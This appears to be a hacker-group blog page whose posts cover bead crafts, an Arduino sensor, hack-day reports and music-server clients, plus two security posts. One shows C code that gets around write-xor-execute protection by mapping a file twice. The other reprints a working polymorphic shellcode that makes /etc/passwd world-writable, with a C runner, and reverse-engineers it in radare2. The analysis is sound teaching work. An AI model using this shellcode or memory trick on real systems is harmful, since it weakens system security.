Hama bead madness…

Well it’s been a long time since an update on hackery, and a lot has happened! So here goes, an attempt at covering the last 3 or so months…

I found a new hobby! Crafty but not too difficult (unlike sewing/knitting/jewellery making malarkey). I’m not very patient, and I find fiddly things too…well…fiddly! So I’ve found something on my level. According to Wikipedia, “plastic fusible beads are also known as Perler Beads, or called “melty beads” by young children. These small colorful beads can be placed on a solid plastic-backed peg array to form designs and then melted together with a clothes iron; alternatively, they can be strung into necklaces or bracelets, or woven into keychains. Fusible beads come in many colors and degrees of transparency/opacity, including varieties that glow in the dark or have internal glitter; peg boards come in various shapes and several geometric patterns.”

The main thing to note here is that this is usually a hobby for children. This means that it’s not fiddly (yippee!) and you don’t need to be very patient (hooray!!) so it suits me down to the ground.

I started off making coasters, by copying patterns I found online and filling in the space around the pattern and making it into a square. I then began going “freestyle” and making up patterns, as well as interpreting cross-stitch patterns to make other designs. Then I came across how much 8-bit art has been made with these beads. There’s an amazing amount!

Some hama bead creations

Some of my hama bead creations

I then had a go at turning my creations into necklaces, brooches and magnets, which worked well. I have since sold some of them at various craft fairs, and have plans for giant 8-bit art as well as more different types of wearable geekery :)

Posted in Crafting | Tagged , , , , | 1 Comment

RickRolling The Trolls

This post is inspired by a video a friend (Reashlin) sent to me (embedded below). In their company it is policy to lock computers when users are away from them, and if a machine is left unlocked it is customary to tell the supervisor in a “friendly” email from the account of the person in who left their machine unlocked.

Knowing this, Reashlin’s colleague wrote a C# application that leaves the computer running whatever it was before until the mouse is moved, when it switches to a full screen RickRoll video with the machine locked.

A whole C# application to do this seemed a bit much, so I distilled the whole thing into the following 4 line bash script. The script is quite simple. It simply waits for input from /dev/input/mice then spawns full screen mplayer in the background, and xtrlock in the foreground. xtrlock is a handy little program that captures all keyboard/mice events until the users password is entered, a bit like a transparent xlock. There is an issue with this script if the user is proficient in keyboard short-cuts they might never touch the mouse… but that’s something for another day.

If the others at canthack.org try and do this to me again they will be getting a surprise (well not that much; they do read this after all).

#!/bin/bash
sudo cat /dev/input/mice | read -n 1
mplayer -fs rick.flv &
xtrlock

Posted in Programming, Unix | 2 Comments

A Temperature Sensor with Arduino

After getting the Arduino Uno for Christmas last year, I set about doing what every geek does after getting bored of the usual blinky blinky pin 13 stuff, and started thinking about what I could do with it that was cool, and maybe even useful.

I decided to make a temperature sensor, using the cheap and easy-to-use LM35 integrated circuit, which is a compact package that looks just like a transistor.

LM35

LM35

It offers a linear 10mV per degree C voltage change with temperature and so requires minimal mathematics to covert the analogue input into a temperature reading.

The current temperature, and a running minimum and maximum are displayed on an LCD display (using the LiquidCrystal Library), with the pushbutton allowing the maximum and minimum to be reset. The temperatures are calculated using a circular buffer providing a running mean value over 10 samples.

SD card hack

SD card hack

The project also writes the temperature values to an SD card using the SD Library, which was attached via an awesome hack I came up with involving soldering a pin header directly to it, although in this case it’s a micro-SD adaptor to allow for changing the card more easily. The pinout is almost exactly lined up to make this hack work!

 

Temperature Sensor

Temperature Sensor

What I like about this project is that it combines all the usual cool things a beginner would want to do with their Arduino. Sensor reading, LCD screen output, SD card read/write, and button capture (which will be done with an interrupt, when I get a chance to do it).

The code, and Fritzing schematic, can be found on my GitHub page.

Posted in Arduino, Hardware | Leave a comment

11/11/11

Lest we forget

To celebrate armistice day, the last binary day for another 88 years and 51 days, and the joy of the bodge, CantHack is at it again!

We have TI hacking, watch designing, plenty of Arduinos, crafting, and software packaging. There was also beer (and Lemsip for Omer).

Hack in pictures

PROTIP: *Never* leave your laptop unattended at a hackathon 😉

Posted in Events | Leave a comment

W^X

Today I was reading about self-modifying code. I knew some things already – for example it is used sometimes as ‘camouflage’ by malicious programs to cover their intent, by JIT compilers, and for optimising loop evaluation functions. Suppose you have a number of functions that are very similar except for a couple of instructions used for some sort of comparison or evaluation. Instead of having several almost identical functions in memory, one option is to simply over-write the evaluation instructions with a slightly different piece of code every time the function is used.

However, in general, because of it’s usefulness in malicious programs, self modifying code is a bit of a security problem for operating systems. For this reason modern operating systems do not allow memory pages to be both writeable and executable. This is known as W^X – write XOR execute, meaning a page of memory is writable or executable, but never both.

The main reason for this post is an interesting work-around that Edd and I discovered today. It turns out that it is possible to map a file into memory twice. When a file is mapped into memory, the permissions are set at the same time as it is mapped. Given this, you can be a bit sneaky, and map a file as writeable, then map it again as executable. This will give you two pointers to different areas of your programs virtual address space, but both referencing the same file. You can then write some code to the file using one pointer, and execute it using the other.

As an example I created a little test C program with a single function in it as follows:

int
add(int a, int b)
{
        return a+b;
}

main() {
        int a = add(12, 2);
}

I then built this with debug symbols and no compiler optimisation (since this program doesn’t do anything, with optimisations turned on the add function would disappear completely):

gcc testcode.c -o testcode -g

This function is nothing really to do with the exploit per se. The plan is:

  • Create a file
  • Map the file into memory as writeable
  • Copy the add function from the above code into this writeable memory (ending up in the file)
  • Map the file into memory as executable
  • Assign a function pointer to point to the executable memory
  • Execute the add function that we just wrote into memory using the function pointer

To do this, the code below is used:

#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>

#define MEM_MAP_FILE "/tmp/a"
#define TESTCODE_FILE "testcode"
#define TESTCODE_SIZE 8427
#define FUNCTION_ADDR 0x394
#define FUNCTION_SIZE 0xE

int
main(void)
{
	void *p1, *p2, *p3;
	int fd, fd2;
	FILE *f, *f2;
	int (*add)(int a, int b);

	/* Create/open the file */
	f = fopen(MEM_MAP_FILE, "w+");
	fd = fileno(f);

	/* Make some space in the file to copy the function in */
	lseek(fd, FUNCTION_SIZE, SEEK_SET);
	/* Have to write to actually make the space */
	write(fd, "", 1);

	/* Map file as write */
	p1 = mmap(0, FUNCTION_SIZE, PROT_WRITE, MAP_SHARED, fd, 0);

	/* Open test code */
	f2 = fopen(TESTCODE_FILE, "r");
	fd2 = fileno(f2);

	/* mmap the test code */
	p3 = mmap(0, TESTCODE_SIZE, PROT_READ, MAP_SHARED, fd2, 0);

	/* Copy function into writeable memory */
	memcpy(p1, p3 + FUNCTION_ADDR, FUNCTION_SIZE);

	/* Map the file as executable */
	p2 = mmap(0, FUNCTION_SIZE, PROT_EXEC, MAP_SHARED, fd, 0);

	/* Make function pointer point to the executable memory*/
	add = p2;

	/* Execute function we just wrote! */
	printf("Result = %d\n", (*add)(1, 2));
}

There are a couple of things to note. First, this code does no checks on return values of mmap, fopen etc. This is purely for readability on this blog! Second, the 3 #define pre-processor macros at the start of the program must be set up for the function that is being copied in from testcode, in our case ‘add’. The first is the size of the testcode executable, which can be found with “ls -l”. The second is the offset of the add function within the executable, and the third the size of the add function. The easiest way to get these last two is probably with objdump. We use “objdump -d testcode” to disassemble the file, and then scroll through until we see the add function, which will look something like:

08048394 <add>:
 8048394:	55                   	push   %ebp
 8048395:	89 e5                	mov    %esp,%ebp
 8048397:	8b 45 0c             	mov    0xc(%ebp),%eax
 804839a:	8b 55 08             	mov    0x8(%ebp),%edx
 804839d:	8d 04 02             	lea    (%edx,%eax,1),%eax
 80483a0:	5d                   	pop    %ebp
 80483a1:	c3                   	ret

Unfortunately objdump relocates the file before disassembly. Therefore, we only use the last 3 digits of the address. So in this case, the add function starts at offset 394 and ends at 3a2 (the last instruction, ret, is only 1 byte long, and starts at 3a1). So the size of the function is 3a2-394 = E.

Running the executable afterwards will now result in:

Result = 3

So we have managed to write to some memory and then execute what we wrote, working around the W^X feature!

However, this isn’t as bad as it might seem. There are actually other ways to get around W^X, for example the mprotect system call. And this doesn’t really allow you to elevate privileges very easily. You might be able to write self-modifying code, but you can’t, for example, overwrite code of a process already running as root, make the text area of an address space writable, the data area executable, or modify a file such as /bin/ls (because you still don’t have write permission to the file).

Posted in Programming, Software, Unix | 1 Comment

CantHack..MedHack! A trip to Medway Innovation Centre

CodingAt the end of August, we were kindly invited to visit, and make use of the facilities at, the Medway Innovation Centre. We had met a member of Medway Makerspace at BarCamp Canterbury earlier in the year, and we were intrigued to see the venue that they use for hack meetups. We were all suitably impressed with the amazing facilities, and the guys there were so accommodating (even to those of us who were crafting rather than hacking!). We were given the use of two of their rooms and this kitchen (key for refuelling with tea – good work on the tea-making, Rob) and spent a good twelve hours making and doing.

The room I was in was affectionately known as “Mex’s sweatshop”.  Here, I was employed to sew Mex’s Tinkersoc t-shirt, ready for him to wear at the University of Kent Freshers’ Fair.  He stencilled the logo on the t-shirt, and I sewed EL wire onto it in the shape of a transistor.  I covered the parts that didn’t need to light up with black electrical tape, and soon it was complete.  Sadly there are no action shots of it!

Crafty goodness

I then moved on to make some things from felt under the instruction of Debora (a felting pro). Marianne copied a picture of Shaun the Sheep for me onto some paper, and I used it as a guide to cutting out pieces of felt. I went on to make a Sonic the Hedgehog (without using a template, hence a tad wonky) and a bracelet made of buttons, a necklace mainly made of buttons, and fixed an old heart-shaped necklace. Debora made the troll, Pacman and ghost, button ring and flower hairclip. Marianne made the keyhole necklace and Mex wore the hairclips! All in all it was a really fun and productive day. Just wish the place was nearer then we could join and hack away there as often as we wanted!

 

Posted in Events | Leave a comment

hgdc-x. A Cross-Platform, Native hgd Client.

At Can’t Hack’s recent Medway Hack day, which took place at the Medway Hackspace, I decided to work on a new desktop /GUI client for the hgd music server. The current crop of hgd clients does not so far include an actively maintained desktop GUI, so it was a great opportunity to provide one, and seeing as we planned to (and did) hack for 12 hours straight – there was plenty of time with which to get something reasonable implemented!

It is called hgdc-x. The X alludes to the cross-platform nature of the GUI code. By writing it from the ground up in Lazarus/Freepascal, it can be compiled for Windows/Linux/Mac OS X/FreeBSD among others, targeting various toolkits like GTK, QT, Win32, and Carbon.

I have since essentially finished the client, which supports all of the usual hgd user features like user authentication, SSL encrypted connection, listing the playlist, queuing tracks and voting tracks off, but also includes added features like album artwork fetching (using the Last.fm API). Limited support is provided for hgd’s administrative features, so hgdc-x supports song pausing and skipping as long as you are logged in as a user who is an admin on the hgd server.

In the future I will add Last.fm scrobbling, remaining admin features and other cool stuff.

The development version (available right now) been tested on Windows, Linux and Mac OS X, and works fine on all three.

hgdcx on Linux

hgdcx on Linux

Proper tagged releases and pre-compiled binaries will follow, as soon as the hgd server makes its next release (0.5). When this happens the version numbers will be kept in sync with the server. Until then, the HEAD of hgdc-x should work correctly with the HEAD of the main hgd server repository, as I scramble to keep up with API and protocol improvements, so if you can install Lazarus 0.9.30, give it a go if you like!

The source is available from GitHub, where an Issue Tracker is active for any inevitable bugs or indeed feature requests you may like to add.

When complete, the same GitHub page will be the place to go for the pre-compiled binaries.

Posted in Events, Programming | 2 Comments

HGD 0.4.1 out now!

Less than a month since our last release and we are at it again! This is just a maintenance release really but we have snuck in a couple of new features for you to play with.

Whats new.

  • HUP support Hit HGD with a HUP signal and it will restart and reload its configs.
  • Daemonisation HGD now acts as a proper daemon
  • Syslog support Now you don’t have to rely on stdout for logging.
  • Clang analyze target For you clang users try make analyze and lookout for new bugs before committing.
  • Bug fixes various minor bug fixes.

Download

Grab the tarball or visit the project page.

Posted in Software | Leave a comment

Adventures with Radare2 #1: A Simple Shellcode Analysis

Radare2 is an open-source reverse engineering toolkit, consisting of a disassembler, debugger and hex editor. In this article I will show you the basics by reversing some shellcode I found on Project Shellcode

Shellcode

To put this into context let’s briefly discuss what we mean by the term “shellcode”, not to be confused with “shellscript”, which is something else entirely. “Shellcode” is a term colloquially used to refer to the payload of an exploit. Typically this would be code injected to start a shell.

Project Shellcode is a repository of shellcodes (with source), which I found via reddit.com/r/reverseengineering last month (thanks polsab); let’s look at one of the examples found there.

60 Bytes Chmod 777 Polymorphic x86 Linux Shellcode

The first shellcode I happened to look at from projectshellcode was this


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 60 bytes chmod 777 polymorphic x86 linux shellcode
Date   : Sat Jun  5 16:10:00 2010
Author : gunslinger_ 
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com),
ty miller (projectshellcode.com), jonathan salwan(shell-storm.org),
mywisdom (devilzc0de.org), loneferret (offensive-security.com)
*/

/*
[email protected]# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
[email protected]# gcc -o polymorphic_chmod polymorphic_chmod.c
chmod.c: In function ‘main’:
chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’
[email protected]# ./polymorphic_chmod
Length: 64
[email protected]# ls -la /etc/passwd
-rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd
[email protected]# chmod 644 /etc/passwd
[email protected]# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
*/

#include 

char shellcode[] =
	"\xeb\x11\x5e\x31\xc9\xb1\x27\x80\x6c\x0e\xff\x35\x80\xe9\x01"
	"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x4a\x66\xf5\xe5\x44"
	"\x90\x66\xfe\x9b\xee\x34\x36\x02\xb5\x66\xf5\xe5\x36\x66\x10"
	"\x02\xb5\x1d\x1b\x34\x34\x34\x64\x9a\xa9\x98\x64\xa5\x96\xa8"
	"\xa8\xac\x99";

int main(void)
{
       	fprintf(stdout,"Length: %d\n",strlen(shellcode));
	(*(void(*)()) shellcode)();
     
return 0;
}

Thanks to gunslinger for allowing me to use this code as an example.

The description in comments claims that the code sets the file permissions on /etc/passwd to 777, but you would not know that at a glance. What we do know is that we have an array of bytes initialised as hex, which is then cast to a function pointer and called.

Analysis with Radare2

NOTE: This analysis was done using a hg tip snapshot of radare2 from July 2011. Some of the features have only recently been implemented or bugfixed, so using an older version will not work 😉 EDIT: Radare-2.0.8 was released 2 days ago, this will work!

So how do we find out what this program does? We could build it and run it, but I won’t, as it could remove my home directory for all I know. Instead let us examine it statically using radare2.

First we build a binary:


% cc -o shellcode polymorphic_chmod_etc_passwd_777.c 
polymorphic_chmod_etc_passwd_777.c: In function 'main':
polymorphic_chmod_etc_passwd_777.c:53: warning: incompatible implicit
declaration of built-in function 'strlen'

Next we ignore the warning, and now we load it into radare2:


% r2 ./shellcode
 -- In soviet russia radare debugs you!
[0x1c000764]>

I started radare2 without -d, so we are running in “static” mode, as opposed to using the debugger built into radare2. Now radare is ready and waiting for commands, so let’s get to it.

Radare2 commands tend to be very short, some only one letter long. Type ‘?’ followed by enter to get an overview of what you can do. Suffixing a command with a question mark, will give more detailed information on it’s usage.

What we should first do is locate that byte string. Because our binary was not stripped, we have the luxury of knowing what the virtual address of ‘main’ is. Radare2 uses the concept of “flags” to mark useful locations in binaries. Try typing ‘f’ to see a list of flags. The function main will be flagged as ‘sym.main’.

We use the ‘pd’ command to disassemble:


[0x1c000764]> [email protected]
      0x1c000764  sym.main:
      0x1c000764    0    8d4c2404         lea ecx, [esp+0x4]
      0x1c000768    0    83e4f0           and esp, 0xfffffff0
      0x1c00076b    0    ff71fc           push dword [ecx-0x4]
      0x1c00076e    4+   55               push ebp
      0x1c00076f    8+   89e5             mov ebp, esp
      0x1c000771    8    51               push ecx
      0x1c000772   12+   83ec14           sub esp, 0x14
      0x1c000775   32+   c704244010003c   mov dword [esp], sym.shellcode
      0x1c00077c   32>   e86bfdffff       call dword imp.strlen
         ; imp.strlen() [1]
      0x1c000781   32    bad831003c       mov edx, 0x3c0031d8
      0x1c000786   32    89442408         mov [esp+0x8], eax
      0x1c00078a   32    c74424040100003c mov dword [esp+0x4], str.Lengthd
      0x1c000792   32    891424           mov [esp], edx
      0x1c000795   32>   e822fdffff       call dword imp.fprintf
         ; imp.fprintf() [2]
      0x1c00079a   32    b84010003c       mov eax, sym.shellcode
      0x1c00079f   32    ffd0             call eax
         ; unk()
      0x1c0007a1   32    b80000           invalid

The ‘pd’ command will disassemble a chunk of code equal to the “block size” (see the ‘b’ command) and in this case it looks like main was bigger than our block size. Because we know that GCC will make “well-formed” functions, we ask radare2 to analyse this function and print it in its entirety:


[0x1c000764]> [email protected]
[0x1c000764]> [email protected]
/ function: sym.main (75)
|     0x1c000764  sym.main:
|     0x1c000764    0    8d4c2404         lea ecx, [esp+0x4]
|     0x1c000768    0    83e4f0           and esp, 0xfffffff0
|     0x1c00076b    0    ff71fc           push dword [ecx-0x4]
|     0x1c00076e    4+   55               push ebp
|     0x1c00076f    8+   89e5             mov ebp, esp
|     0x1c000771    8    51               push ecx
|     0x1c000772   12+   83ec14           sub esp, 0x14
|     0x1c000775   32+   c704244010003c   mov dword [esp], sym.shellcode
|     0x1c00077c   32>   e86bfdffff       call dword imp.strlen
|        ; imp.strlen() [1]
|     0x1c000781   32    bad831003c       mov edx, 0x3c0031d8
|     0x1c000786   32    89442408         mov [esp+0x8], eax
|     0x1c00078a   32    c74424040100003c mov dword [esp+0x4], str.Lengthd
|     0x1c000792   32    891424           mov [esp], edx
|     0x1c000795   32>   e822fdffff       call dword imp.fprintf
|        ; imp.fprintf() [2]
|     0x1c00079a   32    b84010003c       mov eax, sym.shellcode
|     0x1c00079f   32    ffd0             call eax
|        ; unk()
|     0x1c0007a1   32    b800000000       mov eax, 0x0
|     0x1c0007a6   32    83c414           add esp, 0x14
|     0x1c0007a9   12-   59               pop ecx
|     0x1c0007aa    8-   5d               pop ebp
|     0x1c0007ab    4-   8d61fc           lea esp, [ecx-0x4]
\     0x1c0007ae    4    c3               ret
      ; ------------

A quick eyeballing of this code shows us what we need to know. There was enough information in our binary for radare2 to flag the byte string holding the exploit. If you want to see the actual address of this string, you can turn off the asm.filter using the ‘e’ command; this will prevent radare2 from substituting symbols names for constants in disassembly views.

What does the program do with the payload? We see strlen() and printf() being called, but more importantly, we see the address of the shellcode being loaded into eax before being called (load at 0x1c00079a, call at 0x1c00079f). The obvious next step is to examine the payload to get an idea of what it might do:


[0x1c000764]> pD [email protected]
     ,   0x3c001040  sym.shellcode:
     ,=< 0x3c001040    0    eb11             jmp 0x3c001053 [1]
     |   0x3c001042    0    5e               pop esi
     |   0x3c001043   -4-   31c9             xor ecx, ecx
     |   0x3c001045   -4    b127             mov cl, 0x27
    .--> 0x3c001047   -4    806c0eff35       sub byte [esi+ecx-0x1], 0x35
    ||   0x3c00104c   -4    80e901           sub cl, 0x1
    `==< 0x3c00104f   -4    75f6             jnz 0x3c001047 [2]
   ,===< 0x3c001051   -4    eb05             jmp 0x3c001058 [3]
   | `-> 0x3c001053   -4>   e8eaffffff       call dword 0x3c001042
   | |      ; 0x3c001042() [4]
   `---> 0x3c001058   -4    204a66           and [edx+0x66], cl
         0x3c00105b   -4    f5               cmc
         0x3c00105c   -4    e544             in eax, 0x44
         0x3c00105e   -4    90               nop
         0x3c00105f   -4    66fe9b           o16 invalid
         0x3c001062   -4    ee               out dx, al
         0x3c001063   -4    3436             xor al, 0x36
         0x3c001065   -4    02b566f5e536     add dh, [ebp+0x36e5f566]
         0x3c00106b   -4    661002           o16 adc [edx], al
         0x3c00106e   -4    b51d             mov ch, 0x1d
         0x3c001070   -4    1b3434           sbb esi, [esp+esi]
         0x3c001073   -4 string (5): "444d"
         0x3c001078   -4 hex length=64 delta=2
0x3c001078  64a5 96a8 a8ac 9900 0000 0000 0100 0000  d...............
0x3c001088  0100 0000 0400 0000 c001 001c 0500 0000  ................
0x3c001098  8803 001c 0600 0000 5802 001c 0a00 0000  ........X.......
0x3c0010a8  bf00 0000 0b00 0000 1000 0000 1500       ..............  

I used 'pD' here so that I could specify exactly how many bytes to disassemble (I chose 60). So what can we say about this? Well at first glance, there are some invalid operations which can't be executed, so that's a bit fishy.

What I will now is do a symbolic execution of this code in my head. We first jump to 0x3c001053, from here we call to 0x3c001042, which happens to be the instruction right after where we came from in the first place. This could be pointless, but bear in mind that the call has pushed the return address of the call onto the stack. And what do you know, they immediately pop the return address into esi. In 32-bit x86 there is no way of getting directly at the program counter; what you have just seen is a well known hack used to get it. The value of the program counter can be used to refer to code/data relative to the payload (remember that the attacker does not know where his/her code will be relocated by the linker).

So now we are at 0x3c001043 with 0x3c001058 in esi. The code zeros ecx by xoring it with itself, before loading 0x27 into the lowest byte of ecx. The next chunk of code which subtracts 0x35 from a [esi+ecx-0x1], for ecx = {0x27, 0x26, ... , 0x1} and we already know the value of esi from earlier. So by my calculations, we need to subtract 0x35 from 0x27 bytes starting at 0x3c001058 so as to emulate the effect of this self modifying code. We can do this using the 'wo' family of commands; let's ask radare2 for help on this:


[0x1c000764]> wo?
Usage: wo[asmdxoArl24] [hexpairs] @ addr[:bsize]
Example:
  wox 0x90   ; xor cur block with 0x90
  wox 90     ; xor cur block with 0x90
  wox 0x0203 ; xor cur block with 0203
  woa 02 03  ; add [0203][0203][...] to curblk
Supported operations:
  woa  +=  addition
  wos  -=  substraction
  wom  *=  multiply
  wod  /=  divide
  wox  ^=  xor
  woo  |=  or
  woA  &=  and
  wor  >>= shift right
  wol  <<= shift left
  wo2  2=  2 byte endian swap
  wo4  4=  4 byte endian swap

We need to use 'wos' so as to subtract a constant from a range of memory addresses, but before that we need to turn on io caching. By default radare2 opens files read-only, unless you give the -w flag. Alternatively we can set the io.cache option on, which caches writes in memory; These writes can be reverted or committed as the user pleases, but we will not be using these facilities for this example.


[0x1c000764]> e io.cache=true
[0x1c000764]> wos [email protected]:0x27
[0x3c001040]> pd
      ,   0x3c001040  sym.shellcode:
      ,=< 0x3c001040    0    eb11             jmp 0x3c001053 [1]
      |   0x3c001042    0    5e               pop esi
      |   0x3c001043   -4-   31c9             xor ecx, ecx
      |   0x3c001045   -4    b127             mov cl, 0x27
     .--> 0x3c001047   -4    806c0eff35       sub byte [esi+ecx-0x1], 0x35
     ||   0x3c00104c   -4    80e901           sub cl, 0x1
     `==< 0x3c00104f   -4    75f6             jnz 0x3c001047 [2]
    ,===< 0x3c001051   -4    eb05             jmp 0x3c001058 [3]
    | `-> 0x3c001053   -4>   e8eaffffff       call dword 0x3c001042
    | |      ; 0x3c001042() [4]
   ,`---> 0x3c001058   -4    eb15             jmp 0x3c00106f [5]
   |      0x3c00105a   -4    31c0             xor eax, eax
   |      0x3c00105c   -4    b00f             mov al, 0xf
   |      0x3c00105e   -4    5b               pop ebx
   |      0x3c00105f   -8-   31c9             xor ecx, ecx
   |      0x3c001061   -8    66b9ff01         mov cx, 0x1ff
   |      0x3c001065   -8    cd80             int 0x80
   |         ; syscall[0x80][3840]=?
   |      0x3c001067   -8    31c0             xor eax, eax
   |      0x3c001069   -8    b001             mov al, 0x1
   |      0x3c00106b   -8    31db             xor ebx, ebx
   |      0x3c00106d   -8    cd80             int 0x80
   |         ; msync (0x100,0x0,0x1ff)
   `----> 0x3c00106f   -8>   e8e6ffffff       call dword 0x3c00105a
   |         ; 0x3c00105a() [6]
          0x3c001074   -8 string (5): "444d"
          0x3c001079   -8 hex length=64 delta=3
0x3c001079  7061 7373 7764 0055 2720 666f 7220 7265  passwd.U' for re
0x3c001089  646f 0000 0000 0000 0000 0000 0000 0000  do..............
0x3c001099  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x3c0010a9  0000 0000 0000 0000 0000 0000 00         .............   

And now we see that the instructions following 0x3c001058 are now valid. The first thing that I notice are these 'int 0x80' instructions. On a UNIX like operating system (running on x86/amd64), firing an 0x80 interrupt has a special meaning, it asks the kernel to execute a system call, whose number is held in eax.

By following execution mentally (through a jump and a call), I can tell you that eax takes a value of 15 at 0x3c001065 and 1 at 0x3c00106d. We can identify these Linux system calls by grokking the 32-bit x86 kernel headers, or the easy way, google for them:
http://asm.sourceforge.net/syscall.html

So we have a call to chmod(2) at 0x3c001065, followed by a call to exit(2) at 0x3c00106d. We will need to examine the arguments to calls in order to understand what they do. On a Linux system, system call arguments are passed in registers (ebx, ecx, edx, esi, edi, ebp).

Let's look at the call to chmod(2); This call takes two arguments, so we should look in ebx and ecx for a char pointer indicating the path to a file, and a mode_t (which is just an integer really) specifying the mode (or permissions) to change to. ebx is popped from the top of the stack at 0x3c00105e and if we follow execution backwards, we see that the last thing on the stack was a "return address" (0x3c001074) of the call at 0x3c00106f. Ofcourse this is not a return address at all, just a sneaky way to bundle a string into the payload. Let's look at the string using 'ps':


[0x1c000764]> [email protected]
/etc/passwd

The second argument of the chmod call is in the ecx register and takes the value 0x1ff; which in octal, is 0777. So we have a call 'chmod("/etc/passwd", 0777);'. Naughty!

After this the program simply calls the exit(2) system call.

Concluding Comments

What we have seen is an exploit which modifies itself at runtime in order to resist static disassembly. The technique is not new and is an easy way of preventing hard coded strings (like "/etc/passwd") from being detectable with utilities like strings(1).

In fact, this exploit should not work on modern operating systems, as the payload was situated in the '.data' section of the binary, which (on any sane OS) can not be both executable and writable. I tried stepping over the call to the payload on my OpenBSD machine and it refused to execute, which is a good thing. EDIT: After discussion on reddit, we concluded that this code should not work on modern architectures implementing a NX bit (or equivalent) and for other architectures, write-xor-execute protection can be implemented in software. Thanks for the clarification reddit.

We explored some of the basic features of radare2, however, we have only scratched the surface. Go check it out at radare.org

If you fancy something slightly harder, try the same analysis on a stripped binary!

Please let us know if you spot any errors or have any comments. Cheers.

Posted in Software | 7 Comments

phphgdc – A PHP client for HGD

HGD is Edd and Mex‘s awesome network playlist daemon that we use at our hacknights. It lets us queue songs from our machines to a single set of speakers, which is infinitely easier than swapping an audio cable around every time someone wants play a song. It even has a ‘vote off’ feature for rubbish songs.

At the last hacknight I wrote a simple PHP client for the HGD that will let people queue songs from their browsers. This is quite useful as currently the official hgd client doesn’t compile (easily) on Windows and we do have a few Windows users. It is also useful for the lazy people who can’t be bothered with the installation of a client since they can just point their browsers to my PHP client.

The idea is to set this up on the same machine that runs the hgd but that’s not a requirement since the client uses sockets to communicate with the server.

It is pretty much a work-in-progress so it’s a bit rough around the edges but the basic functionality (authentication/queuing songs) works fine. The source lives here, in case you want to play with it. I’ll prettify and add a few more features like playlist and vote off support to it at the next hack event.

And here’s the environment (i.e: the last hacknight) this was conceived in:

 

Posted in Software | 2 Comments